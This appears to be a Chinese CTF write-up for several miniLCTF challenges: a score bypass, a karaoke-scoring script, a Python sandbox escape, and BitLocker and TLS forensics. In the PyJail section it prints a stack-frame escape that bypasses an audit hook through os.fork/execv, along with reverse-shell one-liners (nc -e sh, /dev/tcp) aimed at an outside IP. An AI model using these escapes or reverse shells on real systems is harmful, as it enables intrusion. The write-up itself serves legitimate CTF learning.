吃豆人

简单的前端游戏,不知道为什么扔到misc了。。

看一眼源码

image-20250502131622804

那就预先在控制台输好score

输完再私一下就拿到flag

image-20250502131518305

麦霸评分

先本地wsrx连接上环境,我这里是6033

题目要求唱歌然后打分,我们py写个脚本把原始音频下过来,再传上去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

def get_flag(base_url: str = "http://127.0.0.1:6033"):
session = requests.Session()

# 1. 先下载原始音频
print("[*] 正在下载原始音频…")
resp = session.get(f"{base_url}/original.wav")
resp.raise_for_status()
audio_data = resp.content

# (可选)调用一次 /prepare-recording 来清理旧录音
try:
session.get(f"{base_url}/prepare-recording", timeout=5)
except Exception:
pass # 出错也不影响

# 2. 上传「你的录音」——其实就是原始音频本身
print("[*] 正在上传“录音”进行对比…")
files = {
'audio': ('original.wav', audio_data, 'audio/wav')
}
resp2 = session.post(f"{base_url}/compare-recording", files=files)
resp2.raise_for_status()

# 3. 解析返回的 JSON,拿 flag
data = resp2.json()
if data.get("flag"):
print("🎉 Flag:", data["flag"])
else:
print("⚠️ 服务器返回:", data)

if __name__ == "__main__":
get_flag()

屏幕截图 2025-05-03 193957

PyJail

连上即给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import socketserver
import sys
import ast
import io

with open(__file__, "r", encoding="utf-8") as f:
source_code = f.read()

class SandboxVisitor(ast.NodeVisitor):
def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr.startswith("__"):
raise ValueError("Access to private attributes is not allowed")
self.generic_visit(node)

def safe_exec(code: str, sandbox_globals=None):
original_stdout = sys.stdout
original_stderr = sys.stderr

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

if sandbox_globals is None:
sandbox_globals = {
"__builtins__": {
"print": print,
"any": any,
"len": len,
"RuntimeError": RuntimeError,
"addaudithook": sys.addaudithook,
"original_stdout": original_stdout,
"original_stderr": original_stderr
}
}

try:
tree = ast.parse(code)
SandboxVisitor().visit(tree)

exec(code, sandbox_globals)
output = sys.stdout.getvalue()

sys.stdout = original_stdout
sys.stderr = original_stderr

return output, sandbox_globals
except Exception as e:
sys.stdout = original_stdout
sys.stderr = original_stderr
return f"Error: {str(e)}", sandbox_globals


CODE = """
def my_audit_checker(event, args):
blocked_events = [
"import", "time.sleep", "builtins.input", "builtins.input/result", "open", "os.system",
"eval","subprocess.Popen", "subprocess.call", "subprocess.run", "subprocess.check_output"
]
if event in blocked_events or event.startswith("subprocess."):
raise RuntimeError(f"Operation not allowed: {event}")

addaudithook(my_audit_checker)

"""


class Handler(socketserver.BaseRequestHandler):
def handle(self):
self.request.sendall(b"Welcome to Interactive Pyjail!\n")
self.request.sendall(b"Rules: No import / No sleep / No input\n\n")

try:
self.request.sendall(b"========= Server Source Code =========\n")
self.request.sendall(source_code.encode() + b"\n")
self.request.sendall(b"========= End of Source Code =========\n\n")
except Exception as e:
self.request.sendall(b"Failed to load source code.\n")
self.request.sendall(str(e).encode() + b"\n")

self.request.sendall(b"Type your code line by line. Type 'exit' to quit.\n\n")

prefix_code = CODE
sandbox_globals = None

while True:
self.request.sendall(b">>> ")
try:
user_input = self.request.recv(4096).decode().strip()
if not user_input:
continue
if user_input.lower() == "exit":
self.request.sendall(b"Bye!\n")
break
if len(user_input) > 100:
self.request.sendall(b"Input too long (max 100 chars)!\n")
continue

full_code = prefix_code + user_input + "\n"
prefix_code = ""

result, sandbox_globals = safe_exec(full_code, sandbox_globals)
self.request.sendall(result.encode() + b"\n")
except Exception as e:
self.request.sendall(f"Error occurred: {str(e)}\n".encode())
break


if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 5000
with socketserver.ThreadingTCPServer((HOST, PORT), Handler) as server:
print(f"Server listening on {HOST}:{PORT}")
server.serve_forever()

省流:

1
2
3
4
5
6
7
8
9
def my_audit_checker(event, args):
blocked_events = [
"import", "time.sleep", "builtins.input", "builtins.input/result", "open", "os.system",
"eval","subprocess.Popen", "subprocess.call", "subprocess.run", "subprocess.check_output"
]
if event in blocked_events or event.startswith("subprocess."):
raise RuntimeError(f"Operation not allowed: {event}")

addaudithook(my_audit_checker)

就是要在这个钩子的限制下逃逸并且限制能用的东西只有如下

1
2
3
4
5
6
7
8
9
"__builtins__": {
"print": print,
"any": any,
"len": len,
"RuntimeError": RuntimeError,
"addaudithook": sys.addaudithook,
"original_stdout": original_stdout,
"original_stderr": original_stderr
}

并且有提示No import / No sleep / No input

还ban掉了类似ssti向下找的方法

image-20250501104005921
1
2
1.ban了关键字'__'
2.

看了眼,知道是栈帧逃逸

打一个大致的poc

1
2
3
a=(a.gi_frame.f_back.f_back for i in [2]);a=[x for x in a][0]
b = a.f_back.f_globals['sys']
os = b.modules.get('os')

这边其实蛮犹豫要不要用os打的

但是其他模块其实也没什么可以利用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#sys下的模块
{'sys': <module 'sys' (built-in)>,
'builtins': <module 'builtins' (built-in)>,
'_frozen_importlib': <module '_frozen_importlib' (frozen)>,
'_imp': <module '_imp' (built-in)>,
'_thread': <module '_thread' (built-in)>,
'_warnings': <module '_warnings' (built-in)>,
'_weakref': <module '_weakref' (built-in)>,
'_io': <module '_io' (built-in)>,
'marshal': <module 'marshal' (built-in)>,
'posix': <module 'posix' (built-in)>,
'_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>,
'time': <module 'time' (built-in)>,
'zipimport': <module 'zipimport' (frozen)>,
'_codecs': <module '_codecs' (built-in)>,
'codecs': <module 'codecs' (frozen)>,
'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.11/encodings/aliases.py'>,
'encodings': <module 'encodings' from '/usr/local/lib/python3.11/encodings/__init__.py'>,
'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.11/encodings/utf_8.py'>,
'_signal': <module '_signal' (built-in)>,
'_abc': <module '_abc' (built-in)>,
'abc': <module 'abc' (frozen)>,
'io': <module 'io' (frozen)>,
'__main__': <module '__main__' from '/app/app.py'>,
'_stat': <module '_stat' (built-in)>,
'stat': <module 'stat' (frozen)>,
'_collections_abc': <module '_collections_abc' (frozen)>,
'genericpath': <module 'genericpath' (frozen)>,
'posixpath': <module 'posixpath' (frozen)>,
'os.path': <module 'posixpath' (frozen)>,
'os': <module 'os' (frozen)>,
'_sitebuiltins': <module '_sitebuiltins' (frozen)>,
'_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.11/site-packages/_distutils_hack/__init__.py'>,
'site': <module 'site' (frozen)>,
'_socket': <module '_socket' from '/usr/local/lib/python3.11/lib-dynload/_socket.cpython-311-x86_64-linux-musl.so'>,
'itertools': <module 'itertools' (built-in)>,
'keyword': <module 'keyword' from '/usr/local/lib/python3.11/keyword.py'>,
'_operator': <module '_operator' (built-in)>,
'operator': <module 'operator' from '/usr/local/lib/python3.11/operator.py'>,
'reprlib': <module 'reprlib' from '/usr/local/lib/python3.11/reprlib.py'>,
'_collections': <module '_collections' (built-in)>,
'collections': <module 'collections' from '/usr/local/lib/python3.11/collections/__init__.py'>,
'collections.abc': <module 'collections.abc' from '/usr/local/lib/python3.11/collections/abc.py'>,
'math': <module 'math' from '/usr/local/lib/python3.11/lib-dynload/math.cpython-311-x86_64-linux-musl.so'>, 'select': <module 'select' from '/usr/local/lib/python3.11/lib-dynload/select.cpython-311-x86_64-linux-musl.so'>, 'selectors': <module 'selectors' from '/usr/local/lib/python3.11/selectors.py'>,
'types': <module 'types' from '/usr/local/lib/python3.11/types.py'>,
'_functools': <module '_functools' (built-in)>,
'functools': <module 'functools' from '/usr/local/lib/python3.11/functools.py'>,
'enum': <module 'enum' from '/usr/local/lib/python3.11/enum.py'>,
'errno': <module 'errno' (built-in)>,
'array': <module 'array' from '/usr/local/lib/python3.11/lib-dynload/array.cpython-311-x86_64-linux-musl.so'>, 'socket': <module 'socket' from '/usr/local/lib/python3.11/socket.py'>,
'_weakrefset': <module '_weakrefset' from '/usr/local/lib/python3.11/_weakrefset.py'>,
'threading': <module 'threading' from '/usr/local/lib/python3.11/threading.py'>,
'socketserver': <module 'socketserver' from '/usr/local/lib/python3.11/socketserver.py'>,
'_ast': <module '_ast' (built-in)>,
'contextlib': <module 'contextlib' from '/usr/local/lib/python3.11/contextlib.py'>,
'ast': <module 'ast' from '/usr/local/lib/python3.11/ast.py'>}

接着用

1
print(os.listdir('/'))

看到了这个

image-20250503092402864

接着就有点迷糊不知道怎么读取了

因为open和system这些能利用的都被ban了

1
2
3
4
5
r, w = os.pipe()
pid = os.fork()
os.close(r); os.dup2(w, 1);
os.execv('/bin/sh', ['sh', '-c', f'cat /flag.txt']); os._exit(0)
os.close(w); os.waitpid(pid, 0); data = os.read(r, 4096); print(data.decode())

22edc8308c220bf3719d8f3daa0940d2

看来需要根据时间来查一下

1
2
替换一下为
os.execv('/bin/sh', ['sh', '-c', 'find / -mtime 1 -print']);
28912e6da9d6ac00dd6e1760ce19b4f5

大概找到路径了

但是问题来了

在这样的路径下怎么读取呢?

一般说,这样的路径用linux执行是会被转义的

而在python中也拒绝\x0a这类的出现

然后有一个递归读取的东西

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a=(a.gi_frame.f_back.f_back for i in [2]);a=[x for x in a][0]
b = a.f_back.f_globals['sys']
os = b.modules.get('os')
r, w = os.pipe()
pid = os.fork()
os.close(r); os.dup2(w, 1);
os.execv('/bin/sh', ['sh', '-c', 'ls -la']); os._exit(0)
#os.execv('/bin/sh', ['sh', '-c', f'wc -c {path}']); os._exit(0)
os.execv('/bin/sh', ['sh', '-c', 'find /tmp -type f -exec cat {} \\;']); os._exit(0)
os.close(w); os.waitpid(pid, 0); data = os.read(r, 512); print(data.decode())


os.execv('/bin/sh', ['sh', '-c', 'find /tmp/.\\x0a\\x0b\\x00hidden/ -mtime 1 -print']);
find / -mtime 1 -print
os.execv('/bin/sh', ['sh', '-c', 'busybox nc 111.229.205.196 9001 -e sh']); os._exit(0)
os.execv('/bin/sh', ['sh', '-c', 'sh -i >& /dev/tcp/111.229.205.196/9001 0>&1']); os._exit(0)
os.close(w); os.waitpid(pid, 0); data = os.read(r, 4096); print(data.decode())//缓冲区太大

中间是有一个小插曲的

就是他的那个目录下image-20250502101152521

哈哈一点都不好笑

而且缓存区开太大靶机会直接死机

中间一段直接红温了

好在最后还是出了,拿了3血,www

MiniForensicsⅠ

看到桌面上有个“没什么用的b.txt”

看题目描述说bitlocker恢复密钥传到了服务器上,我们直接查看桌面上流量就好

在流量里发现

屏幕截图 2025-05-03 213326

接着往下翻就能看到恢复密钥了

屏幕截图 2025-05-03 213451
1
521433-074470-317097-543499-149259-301488-189849-252032

然后我们把加密的d盘使用取证大师挂载一下(或者直接虚拟机打开也行)

bitlocker解密一下

在d盘里发现一个c.txt

由于是画图,我们直接使用脚本

这里先把c的图画了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import matplotlib.pyplot as plt

# 坐标数据(x, y)
data_str = """
#数据填写处
"""

# 解析坐标
points = [tuple(map(float, pair.split(','))) for pair in data_str.split()]
x_vals, y_vals = zip(*points)

# 创建图像
plt.figure(figsize=(10, 6)) # 拉长纵向显示
plt.plot(x_vals, y_vals, marker='o', linestyle='-')
plt.title("坐标点折线图")
plt.xlabel("X")
plt.ylabel("Y")
plt.grid(True)

# 设置y轴范围,使其上下拉伸(例如以中心为215,上下扩展±5)
plt.ylim(min(y_vals) - 5, max(y_vals) + 5)

plt.tight_layout()
plt.show()

画了c的图发现是反转的

反转回来:

屏幕截图 2025-05-03 212005

发现是fake_flag,但是提醒我们计算a.txt,使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 读取文件并解析为二维浮点列表
def read_coords(filename):
with open(filename, 'r') as f:
lines = f.readlines()
coords = [tuple(map(float, line.strip().split(','))) for line in lines if line.strip()]
return coords

# 写入结果到 a.txt
def write_coords(filename, coords):
with open(filename, 'w') as f:
for x, y in coords:
f.write(f"{x},{y}\n")

# 主逻辑
b_coords = read_coords('b.txt')
c_coords = read_coords('c.txt')

# 取最短长度,避免索引越界
min_len = min(len(b_coords), len(c_coords))
if len(b_coords) != len(c_coords):
print(f"警告:b.txt 和 c.txt 的行数不一致,仅处理前 {min_len} 行")

# 计算 a = 2b - c
a_coords = [
(2 * bx - cx, 2 * by - cy)
for (bx, by), (cx, cy) in zip(b_coords[:min_len], c_coords[:min_len])
]

# 保存结果
write_coords('a.txt', a_coords)
print("a.txt 已成功生成!")

然后再利用画图脚本画出a.txt:

屏幕截图 2025-05-03 212633

反转一下看到flag:

屏幕截图 2025-05-03 212752

flag:miniLCTF{forens1c5_s0ooooo_1nt4resting}

MiniForensicsⅡ

我们打开取证,在C盘的user下的document里发现nihao的文件夹

里面是一个pwd.txt和压缩包,pwd提醒我们密码是7位数字,爆破得到密码是:1846287

屏幕截图 2025-05-02 195049

我们使用winrar解压得到sslkeylog文件。

在桌面上发现有pcapng文件,ssl解密,http流量里发现一个压缩包

保存下来发现里面有useless.png和一个txt

我们使用png文件头爆破得到三串密钥:45797e52 f747cc4c 800bd117

屏幕截图 2025-05-02 221530

导出,得到txt里面内容:

1
aHR0cHM6Ly9naXRodWIuY29tL3Jvb3QtYWRtaW4tdXNlci93aGF0X2RvX3lvdV93YW5uYV9maW5kLmdpdA==

也就是指向了这个地址:https://github.com/root-admin-user/what_do_you_wanna_find.git

访问,在脚本里发现一串哈希值:89045a3653af483b6bb390e27c10db16873a60d1

脚本里面提示我们historical commits

直接访问Add files via upload · root-admin-user/what_do_you_wanna_find@89045a3

发现隐藏内容,发现是代码混淆,发现flag。

flag:miniLCTF{c0ngr4tul4ti0n5_70u’v3_g0t_th3_s3cr3ts}